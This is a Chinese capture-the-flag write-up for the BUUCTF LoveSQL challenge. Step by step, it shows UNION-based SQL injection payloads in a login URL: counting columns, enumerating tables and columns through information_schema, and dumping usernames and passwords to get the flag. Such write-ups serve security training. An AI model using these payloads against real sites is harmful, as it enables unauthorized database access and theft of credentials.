BUUCTF系列 // [极客大挑战 2019] LoveSQL

前言

本题知识点:SQL注入

WP

这题居然是个连续剧。。。

首先尝试使用上一题的解法绕过看看(上一题 WP 的 传送门),结果如下:

在这里插入图片描述
注意到密码有些奇怪,尝试着用 MD5 解码失败,也没啥思路(最后事实证明确实也用不到这玩意),故回到 SQL 注入上面来寻找突破

1、查询字段数
1
2
...?username=admin'order by 列数#&password=123
// #号需要手动进行 URL 编码即替换成 %23

在这里插入图片描述
可知共有3个字段

2、测试注入点

接着使用联合查询寻找注入点即回显点位

1
...?username=1'union select 1,2,3%23&password=123

在这里插入图片描述

3、查询当前数据库名、用户名
1
...?username=1'union select 1,user(),database()%23&password=123

在这里插入图片描述

4、查询当前库中所有表
1
...?username=1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()%23&password=123

在这里插入图片描述

5、查询表中所有字段
1
...?username=1'union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='l0ve1ysq1'%23&password=123

在这里插入图片描述

6、爆出所有字段的数据
1
...?username=1'union select 1,2,group_concat(id,username,password) from l0ve1ysq1%23&password=123

在这里插入图片描述
在这里插入图片描述
得到 flag

为了更加方便,可以将换行符 '\n' 设置为 group_concat() 函数的分隔符,该函数的语法可参考 SQL函数Group_concat用法

1
...?username=1'union select 1,2,group_concat(id,username,password separator '\n') from l0ve1ysq1%23&password=123

在这里插入图片描述